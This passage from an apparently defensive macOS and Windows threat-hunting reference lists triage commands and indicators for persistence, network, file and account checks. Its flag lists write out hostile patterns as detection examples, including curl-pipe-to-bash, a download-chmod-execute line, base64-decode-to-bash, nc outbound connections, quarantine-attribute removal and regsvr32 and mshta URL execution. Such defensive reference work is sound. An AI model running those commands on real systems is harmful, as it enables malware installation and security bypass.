- `nameserver[0]` not router IP, ISP DNS, or well-known public DNS (8.8.8.8, 1.1.1.1, 9.9.9.9)
- `127.0.0.1` as nameserver with unexpected local DNS service - DNS hijacking
- Multiple conflicting DNS configs across interfaces
- `domain` set to unexpected domain - VPN or malicious config profile

---

### 2.4 - Hosts File
**Tier:** T1  

```bash
cat /etc/hosts
```

**Flag:**
- Redirects of major domains: `google.com`, `apple.com`, `microsoft.com`, `github.com`, `ocsp.apple.com` pointing to non-legit IPs
- Security tool update domains redirected: `update.crowdstrike.com`, `sentinelone.com` - tool disruption
- `127.0.0.1` for ad-blocking = common + benign on dev machines
- New entries recently (mtime: `ls -la /etc/hosts`)

---

### 2.5 - Network Connections (Summarized by Process)
**Tier:** T1  

```bash
lsof -i -n -P 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
```

**Flag:** Processes with unusually high network connection counts.

---

## Phase 3: Persistence Mechanisms


---

### 3.1 - LaunchAgents and LaunchDaemons (Primary macOS Persistence)
**Tier:** T1 (read), T2 for system-level  

```bash
# List all currently loaded launchd items NOT from Apple
launchctl list | grep -v com.apple

# User-level LaunchAgents (run as current user on login)
ls -la ~/Library/LaunchAgents/ 2>/dev/null

# System-level LaunchAgents (run as current user for ALL users on login)
ls -la /Library/LaunchAgents/ 2>/dev/null

# System-level LaunchDaemons (run as root at boot, regardless of login)
ls -la /Library/LaunchDaemons/ 2>/dev/null
```

**For each suspicious `.plist` found, inspect it:**
```bash
plutil -p ~/Library/LaunchAgents/<suspicious.plist>
# or
cat ~/Library/LaunchAgents/<suspicious.plist>
```

**Flag:**
- `ProgramArguments` pointing to `~/Library/`, `/tmp/`, `/var/folders/`, `~/Downloads/`, `~/Desktop/`
- `ProgramArguments` with shell one-liners, curl/wget, base64 decode
- Plist names not matching legit installed apps
- `RunAtLoad = true` + unusual script path
- `KeepAlive = true` - restart-on-kill watchdog (common malware pattern)
- Labels with random strings or slightly-off Apple domain mimics

**False+:**
- `com.github.homebrew.*` - Homebrew services
- `com.adobe.*` - Adobe LaunchAgents (verify paths point to `/Applications/Adobe*`)
- `com.google.keystone*` - Google Software Update
- `com.microsoft.*` - Office update agents

---

### 3.2 - Crontab
**Tier:** T1 (user crontab), T2 (root + system crontab)  

```bash
# User crontab
crontab -l 2>/dev/null

# System crontab
cat /etc/crontab 2>/dev/null

# Additional cron directories
ls -la /etc/cron.d/ 2>/dev/null
ls -la /etc/periodic/ 2>/dev/null
ls -la /etc/periodic/daily/ /etc/periodic/weekly/ /etc/periodic/monthly/ 2>/dev/null
```

**T2 - Root crontab:**
```bash
sudo crontab -l
```

**Flag:**
- Cron running scripts from home dirs, `/tmp`, or unusual paths
- `curl | bash` or `wget -O- | sh` patterns - download and execute
- Very frequent schedules on unknown tasks (every minute, every 5 min)
- `@reboot` entries running unusual scripts

---

### 3.3 - Login Items (macOS 13+ Background Task Management)
**Tier:** T1  

```bash
# macOS 13+ - Background Task Management
sfltool dump-login-items 2>/dev/null

# Legacy login items plist
defaults read ~/Library/Preferences/com.apple.loginitems.plist 2>/dev/null

# BTM database (macOS 13+)
ls -la ~/Library/Application\ Support/com.apple.backgroundtaskmanagementagent/ 2>/dev/null

# Legacy StartupItems (rarely used but check)
ls -la /Library/StartupItems/ 2>/dev/null
ls -la /System/Library/StartupItems/ 2>/dev/null
```

**Flag:**
- Login items pointing to apps not installed via App Store or recognized installers
- Items in unusual paths (Downloads, Desktop, temp dirs)
- Recently added items (check mtime)

---

### 3.4 - Configuration Profiles (MDM/Malicious Profiles)
**Tier:** T1  

```bash
# List installed configuration profiles
profiles list 2>/dev/null

# More detail
profiles show -all 2>/dev/null
```

**Flag:**
- Profiles not installed by your MDM or IT
- Profiles configuring proxy, DNS, or VPN to unusual servers
- Unusual org names or no signing cert
- Profiles disabling SIP, Gatekeeper, or security policies

---

## Phase 4: File Activity


---

### 4.1 - Files in Temp Directories
**Tier:** T1  

```bash
# Files in /tmp
find /tmp -type f -maxdepth 5 2>/dev/null | head -50

# Files in user temp directories (macOS uses /var/folders)
find /var/folders -name "*.sh" -o -name "*.py" -o -name "*.rb" -o -name "*.pl" 2>/dev/null | head -30

# Executables specifically
find /tmp /var/folders -perm +111 -type f 2>/dev/null | head -30
```

**Flag:**
- Shell scripts or interpreter scripts in temp dirs
- Executables with no extension or misleading extensions (`.pdf`, `.doc`, `.jpg`)
- Files with random-looking names (8+ hex chars, UUID-style)
- Recently created files (check mtime)

---

### 4.2 - Scripts in Library Directories
**Tier:** T1  

```bash
find ~/Library -name "*.sh" -o -name "*.py" -o -name "*.rb" -o -name "*.pl" -o -name "*.swift" 2>/dev/null | grep -v ".app/" | head -30
```

**Flag:**
- Shell/script files in `~/Library` not inside `.app` bundles
- Scripts in `~/Library/Application Scripts/` for unexpected apps
- Scripts with suspicious names or referencing network addresses

---

### 4.3 - Recently Installed Applications
**Tier:** T1  

```bash
# Applications sorted by modification date
ls -lat /Applications/ | head -20

# Check for apps installed in unusual locations
find ~/Applications/ -maxdepth 2 -type d -name "*.app" 2>/dev/null
find ~/Downloads/ -type d -name "*.app" 2>/dev/null
```

**Flag:**
- Recently installed apps (last few days) you don't recognize
- Apps in `~/Applications` or `~/Downloads` instead of `/Applications` - shadow installation
- `.app` bundles in non-standard locations

---

### 4.4 - Code Signing Verification for Suspicious Files
**Tier:** T1  

```bash
# Check code signature for a specific file
codesign -dv --verbose=4 /path/to/suspicious/binary 2>&1

# Gatekeeper assessment
spctl --assess --verbose /path/to/suspicious/binary 2>&1

# Check quarantine attribute (should be present on downloaded files, absence may indicate bypass)
xattr -l /path/to/suspicious/binary | grep com.apple.quarantine

# Check all extended attributes
xattr -l /path/to/suspicious/binary
```

**Flag:**
- `code object is not signed at all` - unsigned
- `CSSMERR_TP_NOT_TRUSTED` - self-signed or untrusted cert
- `rejected` from `spctl` - failed Gatekeeper assessment
- Missing `com.apple.quarantine` on supposedly-downloaded file - Gatekeeper bypass
- Unknown developer ID (note Team ID for research)

---

## Phase 5: User & Account Activity


---

### 5.1 - Local User Accounts
**Tier:** T1  

```bash
# List all local user accounts
dscl . list /Users | grep -v '^_'

# Get more details on each non-system user
dscl . -read /Users/<username> UniqueID PrimaryGroupID NFSHomeDirectory UserShell RealName 2>/dev/null
```

**Flag:**
- Unrecognized accounts (not owner, not standard system accounts)
- Home dir set to `/var/root`, `/tmp`, or unusual paths
- Unrecognized accounts with `/bin/bash` or `/bin/zsh`
- UID 0 on account other than `root`

**Known system accounts (normal):** `_spotlight`, `_www`, `_mysql`, `_postgres`, `nobody`, `daemon`, `root`

---

### 5.2 - Login History
**Tier:** T1  

```bash
# Recent login history
last -20

# Current logged-in sessions
who

# wtmp / utmp detailed
last -F | head -40
```

**Flag:**
- Logins from unusual source IPs (SSH shows source IP)
- Logins at unusual times (3 AM on 9-5 workstation)
- Multiple rapid logins from different IPs - credential stuffing
- Logins for accounts that shouldn't log in remotely

---

### 5.3 - SSH Configuration and Authorized Keys
**Tier:** T1  

```bash
# Authorized SSH keys for current user
cat ~/.ssh/authorized_keys 2>/dev/null

# SSH config
cat ~/.ssh/config 2>/dev/null

# Check SSH daemon configuration
cat /etc/ssh/sshd_config 2>/dev/null | grep -E "PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile|ListenAddress|Port"
```

**Flag:**
- Unrecognized public keys in `authorized_keys`
- `PermitRootLogin yes` on user workstation - should never be enabled
- `ListenAddress` or `Port` changed from defaults
- Unexpected `Host` entries in `~/.ssh/config` proxying through unusual systems

---

### 5.4 - T2: Authentication Logs
**Tier:** T2 (sudo required)  

```bash
# Authentication events in last 4 hours
sudo log show --predicate 'eventMessage contains "authentication"' --last 4h --style compact 2>/dev/null | head -50

# sudo usage
sudo log show --predicate 'eventMessage contains "sudo"' --last 24h --style compact 2>/dev/null | head -50

# SSH daemon events
sudo log show --predicate 'eventMessage contains "sshd"' --last 24h --style compact 2>/dev/null | head -50

# Failed authentication (brute force indicator)
sudo log show --predicate 'eventMessage contains "failed" AND eventMessage contains "authentication"' --last 24h --style compact 2>/dev/null | head -30
```

---

## Phase 6: Driver/Module Activity


---

### 6.1 - System Extensions (macOS 10.15+)
**Tier:** T1  

```bash
systemextensionsctl list
```

**Flag:**
- Extensions from unrecognized vendors
- Extensions in `[activated waiting for user]` or `[terminated]` unexpectedly
- Security extensions (`com.crowdstrike`, `com.sentinelone`, `co.elastic`) - verify match deployed security tools
- Note Bundle ID + Team ID for unknown extensions

**Known legit vendors:**
- CrowdStrike: `com.crowdstrike.falcon.Agent`
- SentinelOne: `com.sentinelone.SentinelAgent`
- Carbon Black: `com.carbonblack.*`
- Elastic: `co.elastic.systemextension`
- Jamf: `com.jamf.*`

---

### 6.2 - Kernel Extensions (Legacy, Still Active)
**Tier:** T1  

```bash
# List non-Apple kernel extensions
kextstat | grep -v com.apple
```

**Note:** Apple deprecated kexts in favor of System Extensions. macOS 12+: very few third-party kexts expected. Any kext = scrutiny.

**Flag:**
- Kexts not from known vendors
- Random or obfuscated bundle identifiers
- Kexts loaded from unusual paths (not `/Library/Extensions/` or `/System/Library/Extensions/`)

---

## Phase 7: Script & Command Execution


---

### 7.1 - Shell History
**Tier:** T1  

```bash
# zsh history (default shell on modern macOS)
cat ~/.zsh_history 2>/dev/null | tail -150

# bash history (if bash is used)
cat ~/.bash_history 2>/dev/null | tail -150

# Check history file sizes and modification times
ls -la ~/.zsh_history ~/.bash_history 2>/dev/null
```

**Flag:**
- `curl`/`wget` piped to `bash`/`sh`
- Download + execute: `curl -o /tmp/x http://... && chmod +x /tmp/x && /tmp/x`
- Base64 decode + execute: `echo "..." | base64 -d | bash`
- `osascript -e '...'` with unusual AppleScript - common in macOS malware
- `python -c`, `ruby -e`, `perl -e` one-liners with complex encoded content
- `nc`/`ncat` establishing outbound connections
- Commands modifying LaunchAgents/LaunchDaemons dirs
- `codesign --remove-signature` or `xattr -d com.apple.quarantine` - Gatekeeper bypass

---

### 7.2 - Application Script Artifacts
**Tier:** T1  

```bash
# Application scripts directory
find ~/Library/Application\ Scripts -type f 2>/dev/null

# Check for script-like files in Library
find ~/Library -maxdepth 3 -name "*.sh" -o -name "*.py" -o -name "*.rb" 2>/dev/null | grep -v "\.app/"
```

---

### 7.3 - T2: XProtect and MRT Logs
**Tier:** T2 (sudo required)  

```bash
# XProtect detections (Apple's built-in AV signatures)
sudo log show --predicate 'eventMessage contains "XProtect"' --last 24h --style compact 2>/dev/null | head -30

# Malware Removal Tool (MRT) events
sudo log show --predicate 'eventMessage contains "MRT"' --last 24h --style compact 2>/dev/null | head -30

# Security daemon events
sudo log show --predicate 'subsystem == "com.apple.securityd"' --last 4h --style compact 2>/dev/null | head -50
```

---

## Phase 8: EDR/Security Tool Status


---

### 8.1 - Detect Running Security Agents
**Tier:** T1  

```bash
# Check for common EDR/AV/security agent processes
ps aux | grep -iE "falcon|sentinelagent|elastic|mdatp|wdavdaemon|cbagentd|cylance|eset|sophos|bitdefender|mcafee|malwarebytes|carbon|osquery|wazuh|ossec"

# Check for security-related system extensions
systemextensionsctl list | grep -iE "falcon|sentinel|elastic|carbon|cylance|eset|sophos"
```

**Flag:**
- Agent process listed but not actually running (zombie or binary tampered)
- Extension present but process NOT in `ps` - agent disabled/killed
- Expected security tools not found on managed endpoint

---

### 8.2 - macOS Built-in Security Status
**Tier:** T1  

```bash
# Gatekeeper status
spctl --status

# SIP status
csrutil status

# Firewall status
/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
```

**Flag:**
- `Gatekeeper: disabled` - significant security reduction
- `System Integrity Protection status: disabled` - SIP off (compromise or authorized research)
- Firewall disabled on user machine

---

### 8.3 - T2: TCC Privacy Database
**Tier:** T2 (requires Full Disk Access for Terminal)  

```bash
sudo sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \
  "SELECT service,client,auth_value,last_modified FROM access WHERE auth_value=2 ORDER BY last_modified DESC LIMIT 50;" 2>/dev/null
```

**Flag:**
- `kTCCServiceCamera` or `kTCCServiceMicrophone` granted to unrecognized apps
- `kTCCServiceScreenCapture` granted to unusual apps
- `kTCCServiceSystemPolicyAllFiles` (FDA) granted to unrecognized non-system apps
- Recent grants (last_modified) matching when suspicious activity began

---

## Quick Reference: macOS IOC Severity Ratings

| IOC | Severity | Notes |
|-----|----------|-------|
| Process running from `/tmp` | Critical | Almost never legitimate |
| Unlinked process binary (`lsof +L1` hit) | Critical | Classic malware technique |
| LaunchAgent pointing to `/tmp` or `~/Downloads` | Critical | Clear malware persistence |
| Outbound connection from `bash` or `python` | High | C2 beacon or reverse shell |
| Non-Apple kernel extension present | High | Requires investigation |
| Gatekeeper disabled | High | System security bypassed |
| `curl` piped to `bash` in history | High | Download-and-execute |
| Unsigned binary in `/Applications` | Medium | Investigate but common for dev tools |
| New user account added recently | Medium | Could be legitimate IT action |
| `com.apple.quarantine` removed from file | Medium | Gatekeeper bypass |
| Unusual authorized_keys entry | High | Remote access backdoor |
| WMI-equivalent: unusual LaunchDaemon | High | Persistence mechanism |
| `osascript` in history | Medium | Could be automation or malware |

## references/windows-checks.md

# Windows Endpoint Threat Hunt - Command Reference

> T1 = standard user (no UAC elevation) | T2 = Administrator / elevated PowerShell

---

## Contents

- [Phase 1: Process Activity](#phase-1-process-activity)
  - [1.1 - Recent Processes with Full Details](#11--recent-processes-with-full-details)
  - [1.2 - Process Details with Command Lines and Parent PIDs](#12--process-details-with-command-lines-and-parent-pids)
  - [1.3 - Processes Running from Suspicious Locations](#13--processes-running-from-suspicious-locations)
  - [1.4 - Authenticode Signature Verification for Running Processes](#14--authenticode-signature-verification-for-running-processes)
  - [1.5 - Parent Process Anomalies](#15--parent-process-anomalies)
- [Phase 2: Network Activity](#phase-2-network-activity)
  - [2.1 - Listening Ports](#21--listening-ports)
  - [2.2 - Established Outbound Connections](#22--established-outbound-connections)
  - [2.3 - DNS Cache](#23--dns-cache)
  - [2.4 - HOSTS File](#24--hosts-file)
- [Phase 3: Persistence Mechanisms](#phase-3-persistence-mechanisms)
  - [3.1 - Registry Run Keys](#31--registry-run-keys)
  - [3.2 - Winlogon and BootExecute](#32--winlogon-and-bootexecute)
  - [3.3 - Startup Folders](#33--startup-folders)
  - [3.4 - Scheduled Tasks](#34--scheduled-tasks)
  - [3.5 - Running Services with Full Paths](#35--running-services-with-full-paths)
  - [3.6 - WMI Event Subscriptions (Critical - High Fidelity IOC)](#36--wmi-event-subscriptions-critical--high-fidelity-ioc)
- [Phase 4: File Activity](#phase-4-file-activity)
  - [4.1 - Executable Files in Temp Locations](#41--executable-files-in-temp-locations)
  - [4.2 - Authenticode Verification for Suspicious Files](#42--authenticode-verification-for-suspicious-files)
  - [4.3 - VBScript/JScript/HTA Artifacts](#43--vbscriptjscripthta-artifacts)
- [Phase 5: User & Account Activity](#phase-5-user--account-activity)
  - [5.1 - Local User Accounts](#51--local-user-accounts)
  - [5.2 - Local Administrators Group](#52--local-administrators-group)
  - [5.3 - T2: Windows Security Event Log - Authentication Events](#53--t2-windows-security-event-log--authentication-events)
- [Phase 6: Driver Activity](#phase-6-driver-activity)
  - [6.1 - T2: Driver Query](#61--t2-driver-query)
  - [6.2 - T2: Named Pipes (C2 Framework Indicator)](#62--t2-named-pipes-c2-framework-indicator)
- [Phase 7: Script & Command Execution](#phase-7-script--command-execution)
  - [7.1 - PowerShell Command History](#71--powershell-command-history)
  - [7.2 - T2: PowerShell Script Block Logging (Event 4104)](#72--t2-powershell-script-block-logging-event-4104)
  - [7.3 - PowerShell Transcription Logs](#73--powershell-transcription-logs)
  - [7.4 - BITS Transfer Jobs](#74--bits-transfer-jobs)
- [Phase 8: EDR/Security Tool Status](#phase-8-edrsecurity-tool-status)
  - [8.1 - Windows Defender Status](#81--windows-defender-status)
  - [8.2 - Third-Party EDR Agent Processes](#82--third-party-edr-agent-processes)
  - [8.3 - T2: Security Audit Policy](#83--t2-security-audit-policy)
- [Quick Reference: Windows IOC Severity Ratings](#quick-reference-windows-ioc-severity-ratings)

---

## Phase 1: Process Activity


---

### 1.1 - Recent Processes with Full Details
**Tier:** T1  

```powershell
Get-Process | Select-Object Name, Id, Path, Company, StartTime, CPU, WorkingSet | Sort-Object StartTime -Descending | Select-Object -First 50 | Format-Table -AutoSize
```

**Flag:**
- `Path` in `%TEMP%`, `%APPDATA%`, `%LOCALAPPDATA%`, `C:\Users\*\Downloads`, `ProgramData` - non-std install path
- `Company` empty - unsigned or unknown binary
- `StartTime` very recent + unexpected
- Multiple `powershell.exe`, `cmd.exe`, `wscript.exe`, `cscript.exe` - check cmdlines
- `svchost.exe` not from `C:\Windows\System32\` - process masquerading

---

### 1.2 - Process Details with Command Lines and Parent PIDs
**Tier:** T1 (limited) / T2 (full)  

```powershell
Get-WmiObject Win32_Process | Select-Object Name, ProcessId, ParentProcessId, CommandLine, ExecutablePath | Where-Object {$_.CommandLine -ne $null} | Sort-Object Name | Format-List
```

**Note:** WMI cmd line access may be restricted for other users' processes at T1.

**Flag:**
- `powershell.exe` with `-EncodedCommand`, `-enc`, `-e ` - encoded command execution
- `powershell.exe` with `-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass` - stealth execution
- `cmd.exe /c` followed by long base64-like strings
- `wscript.exe`/`cscript.exe` with scripts from `%TEMP%` or `%APPDATA%`
- `rundll32.exe` with unusual DLL paths (not `System32`)
- `regsvr32.exe /s /u /i:http://...` - Squiblydoo technique
- `mshta.exe` with URL argument - HTML App execution
- Office apps (`WINWORD.EXE`, `EXCEL.EXE`) spawning `cmd.exe`, `powershell.exe`, `wscript.exe` - macro exploitation

---

### 1.3 - Processes Running from Suspicious Locations
**Tier:** T1  

```powershell
# Processes from %TEMP%
Get-Process | Where-Object {$_.Path -like "*\Temp\*" -or $_.Path -like "*\AppData\Local\Temp\*"} | Select-Object Name, Id, Path | Format-Table -AutoSize

# Processes from %APPDATA%
Get-Process | Where-Object {$_.Path -like "*\AppData\Roaming\*" -and $_.Path -notlike "*\Microsoft\*"} | Select-Object Name, Id, Path | Format-Table -AutoSize

# Processes from Downloads folder
Get-Process | Where-Object {$_.Path -like "*\Downloads\*"} | Select-Object Name, Id, Path | Format-Table -AutoSize
```

---

### 1.4 - Authenticode Signature Verification for Running Processes
**Tier:** T1  

```powershell
Get-Process | Where-Object {$_.Path} | ForEach-Object {
    $sig = Get-AuthenticodeSignature $_.Path -ErrorAction SilentlyContinue
    if ($sig.Status -ne 'Valid') {
        [PSCustomObject]@{
            Name   = $_.Name
            PID    = $_.Id
            Path   = $_.Path
            Status = $sig.Status
        }
    }
} | Format-Table -AutoSize
```

**Flag:**
- `NotSigned` - no digital signature
- `HashMismatch` - binary tampered (critical)
- `UnknownError` - cannot verify (investigate)
- `NotTrusted` - signed but not by trusted authority

---

### 1.5 - Parent Process Anomalies
**Tier:** T1  

```powershell
$procs = Get-WmiObject Win32_Process | Group-Object ProcessId -AsHashTable -AsString
Get-WmiObject Win32_Process | Where-Object {$_.Name -in @('powershell.exe','cmd.exe','wscript.exe','cscript.exe','mshta.exe')} | ForEach-Object {
    $parent = $procs[$_.ParentProcessId.ToString()]
    [PSCustomObject]@{
        Child      = $_.Name
        ChildPID   = $_.ProcessId
        Parent     = if($parent){$parent.Name}else{"[DEAD/UNKNOWN]"}
        ParentPID  = $_.ParentProcessId
        CommandLine = $_.CommandLine
    }
} | Format-Table -AutoSize
```

**Suspicious parent → child pairs:**
- `WINWORD.EXE` / `EXCEL.EXE` / `OUTLOOK.EXE` → `powershell.exe`, `cmd.exe`, `wscript.exe`
- `explorer.exe` → `powershell.exe` with long/encoded cmdline
- `svchost.exe` → `cmd.exe` / `powershell.exe` (unusual - svchost doesn't spawn shells)
- `chrome.exe` / `firefox.exe` → `cmd.exe` / `powershell.exe` (browser exploitation)
- Any process → `[DEAD/UNKNOWN]` parent (orphaned - parent was dropper that exited)

---

## Phase 2: Network Activity


---

### 2.1 - Listening Ports
**Tier:** T1  

```powershell
Get-NetTCPConnection -State Listen | Select-Object LocalAddress, LocalPort, OwningProcess | Sort-Object LocalPort | ForEach-Object {
    $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        LocalAddress = $_.LocalAddress
        LocalPort    = $_.LocalPort
        PID          = $_.OwningProcess
        ProcessName  = $proc.Name
        ProcessPath  = $proc.Path
    }
} | Format-Table -AutoSize
```

---

### 2.2 - Established Outbound Connections
**Tier:** T1  

```powershell
Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess | ForEach-Object {
    $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        LocalPort    = $_.LocalPort
        RemoteAddr   = $_.RemoteAddress
        RemotePort   = $_.RemotePort
        PID          = $_.OwningProcess
        ProcessName  = $proc.Name
        ProcessPath  = $proc.Path
    }
} | Format-Table -AutoSize
```

**Flag:**
- Connections from `powershell.exe`, `cmd.exe`, `wscript.exe` to external IPs
- Connections to unusual ports (not 80/443/53) to external IPs
- RFC1918 connections from unusual processes - lateral movement
- Multiple connections from same process to different external IPs - C2 rotation

---

### 2.3 - DNS Cache
**Tier:** T1  

```powershell
Get-DnsClientCache | Select-Object Entry, RecordName, RecordType, Status, TimeToLive, DataLength, Section, Data | Format-Table -AutoSize

# Alternative (cmd-based)
ipconfig /displaydns | Select-String "Record Name|Data"
```

**Flag:**
- DGA-like domain names (random strings, e.g., `asdkfj1234.top`, `qxzrp.club`)
- Unusual TLDs: `.top`, `.xyz`, `.tk`, `.pw`, `.cc` - malware C2 favorites
- Recently resolved domains at unusual hours
- Domains that look like IPs but aren't (obfuscation)

---

### 2.4 - HOSTS File
**Tier:** T1  

```powershell
Get-Content C:\Windows\System32\drivers\etc\hosts | Where-Object {$_ -notmatch "^#" -and $_ -ne ""}
```

---

## Phase 3: Persistence Mechanisms


---

### 3.1 - Registry Run Keys
**Tier:** T1  

```powershell
# Per-user Run (current user, runs on login)
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -ErrorAction SilentlyContinue

# Per-user RunOnce
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce -ErrorAction SilentlyContinue

# System-wide Run (all users, requires access)
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run -ErrorAction SilentlyContinue

# System-wide RunOnce
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce -ErrorAction SilentlyContinue

# 32-bit Run keys (on 64-bit systems)
Get-ItemProperty "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue
Get-ItemProperty "HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue
```

**Flag:**
- Values pointing to `%TEMP%`, `%APPDATA%`, `%LOCALAPPDATA%`, `C:\Users\*\Downloads`
- Inline PS: `powershell.exe -enc ...`
- Script files (`.vbs`, `.js`, `.ps1`, `.bat`) in unusual locations
- Random-looking names or values
- Check registry key mtime for recency

---

### 3.2 - Winlogon and BootExecute
**Tier:** T1  

```powershell
# Winlogon - should only have specific trusted values
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select-Object Shell, Userinit, Taskman, VMApplet

# Boot execute - runs before logon
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" | Select-Object BootExecute

# AppInit DLLs (DLL injection on every process)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" | Select-Object AppInit_DLLs, LoadAppInit_DLLs
```

**Expected values:**
- `Shell`: `explorer.exe` ONLY - any additional entries = suspicious
- `Userinit`: `C:\Windows\system32\userinit.exe,` (trailing comma normal)
- `BootExecute`: `autocheck autochk *` ONLY - additional entries = suspicious
- `AppInit_DLLs`: empty or `0` for `LoadAppInit_DLLs`

**Flag immediately:**
- Any additional `Shell` values beyond `explorer.exe`
- `BootExecute` with entries beyond `autocheck`
- Any `AppInit_DLLs` DLL - injects into every user-mode process

---

### 3.3 - Startup Folders
**Tier:** T1  

```powershell
# Current user startup
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -ErrorAction SilentlyContinue | Select-Object Name, LastWriteTime, FullName

# All users startup
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" -ErrorAction SilentlyContinue | Select-Object Name, LastWriteTime, FullName
```

**Flag:**
- LNK files pointing to unusual scripts or executables
- `.vbs`, `.js`, `.ps1`, `.bat` in startup folder
- Recently added items (check `LastWriteTime`)

---

### 3.4 - Scheduled Tasks
**Tier:** T1  

```powershell
# All non-disabled tasks
Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} | Select-Object TaskName, TaskPath, State, Description | Sort-Object TaskPath | Format-Table -AutoSize

# Get action details for each task (what it actually runs)
Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} | ForEach-Object {
    $actions = $_.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments)" }
    [PSCustomObject]@{
        Name     = $_.TaskName
        Path     = $_.TaskPath
        RunAs    = $_.Principal.UserId
        Action   = $actions -join "; "
    }
} | Where-Object {$_.Action -match "%TEMP%|%APPDATA%|powershell|wscript|cscript|mshta|\\Users\\.*\\AppData\\Local"} | Format-List
```

**Flag:**
- Tasks with `Execute` pointing to `%TEMP%`, `%APPDATA%`, or user profile dirs
- Tasks using `powershell.exe -enc`, `wscript.exe`, `mshta.exe`
- Tasks in `\Microsoft\Windows\` paths not matching known Windows components
- Recently created tasks (sort by creation, or Event 4698 in Security log)
- `SYSTEM`-running tasks with scripts from non-System32 paths

---

### 3.5 - Running Services with Full Paths
**Tier:** T1  

```powershell
# All running services with their binary paths
Get-WmiObject Win32_Service | Where-Object {$_.State -eq 'Running'} | Select-Object Name, DisplayName, PathName, StartName, StartMode | Sort-Object Name | Format-Table -AutoSize

# Flag unusual service paths
Get-WmiObject Win32_Service | Where-Object {
    $_.State -eq 'Running' -and
    ($_.PathName -like "*\Temp\*" -or $_.PathName -like "*\AppData\*" -or $_.PathName -like "*\Users\*")
} | Select-Object Name, PathName, StartName | Format-List
```

**Flag:**
- `PathName` in `%TEMP%`, `%APPDATA%`, or user profile dirs
- `LocalSystem` (`NT AUTHORITY\SYSTEM`) services with suspicious paths
- Services with no `DisplayName` or random-looking names
- Services not associated with any installed product

---

### 3.6 - WMI Event Subscriptions (Critical - High Fidelity IOC)
**Tier:** T1 / T2  

```powershell
# Event Filters (trigger conditions)
Get-WmiObject -Namespace root\subscription -Class __EventFilter -ErrorAction SilentlyContinue | Select-Object Name, Query, QueryLanguage | Format-List

# Event Consumers (what to do when triggered)
Get-WmiObject -Namespace root\subscription -Class __EventConsumer -ErrorAction SilentlyContinue | Select-Object Name, CommandLineTemplate, ScriptText, ScriptingEngine | Format-List

# Bindings (connects filter to consumer)
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue | Select-Object Filter, Consumer | Format-List
```

**Flag:**
- **ANY non-Microsoft WMI subscriptions** - rarely legit software, favorite APT persistence
- `CommandLineConsumer` with `CommandLineTemplate` running PS, cmd, or scripts
- `ActiveScriptEventConsumer` with inline VBScript/JScript (`ScriptText` = payload)
- Bindings connecting timing/system event filter to command execution consumer

---

## Phase 4: File Activity


---

### 4.1 - Executable Files in Temp Locations
**Tier:** T1  

```powershell
# Executables/scripts in %TEMP%
Get-ChildItem $env:TEMP -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Extension -in @('.exe','.dll','.ps1','.bat','.vbs','.js','.hta','.scr','.com','.pif')} | Select-Object FullName, Length, LastWriteTime | Format-Table -AutoSize

# %APPDATA% executables (should rarely have .exe here)
Get-ChildItem $env:APPDATA -Recurse -Depth 3 -ErrorAction SilentlyContinue | Where-Object {$_.Extension -eq '.exe'} | Select-Object FullName, Length, LastWriteTime | Format-Table -AutoSize

# %LOCALAPPDATA% executables outside of expected app paths
Get-ChildItem $env:LOCALAPPDATA -Recurse -Depth 2 -ErrorAction SilentlyContinue | Where-Object {$_.Extension -eq '.exe' -and $_.FullName -notmatch 'Microsoft|Google|Mozilla|Programs'} | Select-Object FullName, LastWriteTime | Format-Table -AutoSize
```

---

### 4.2 - Authenticode Verification for Suspicious Files
**Tier:** T1  

```powershell
# Check authenticode signature for a specific file
Get-AuthenticodeSignature "C:\path\to\suspicious\file.exe" | Select-Object Path, Status, SignerCertificate | Format-List

# Batch check temp directory
Get-ChildItem $env:TEMP -Filter *.exe -ErrorAction SilentlyContinue | ForEach-Object {
    $sig = Get-AuthenticodeSignature $_.FullName -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        File   = $_.Name
        Status = $sig.Status
        Signer = $sig.SignerCertificate.Subject
    }
} | Format-Table -AutoSize
```

---

### 4.3 - VBScript/JScript/HTA Artifacts
**Tier:** T1  

```powershell
# Script artifacts in temp and user dirs
Get-ChildItem $env:TEMP -ErrorAction SilentlyContinue | Where-Object {$_.Extension -in @('.vbs','.js','.hta','.wsf','.wsh')} | Select-Object FullName, LastWriteTime
Get-ChildItem $env:APPDATA -Depth 2 -ErrorAction SilentlyContinue | Where-Object {$_.Extension -in @('.vbs','.js','.hta')} | Select-Object FullName, LastWriteTime
```

---

## Phase 5: User & Account Activity


---

### 5.1 - Local User Accounts
**Tier:** T1  

```powershell
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet, PasswordRequired, Description | Format-Table -AutoSize
```

**Flag:**
- Enabled accounts you don't recognize
- `PasswordLastSet` recently changed - especially for Administrator/admin
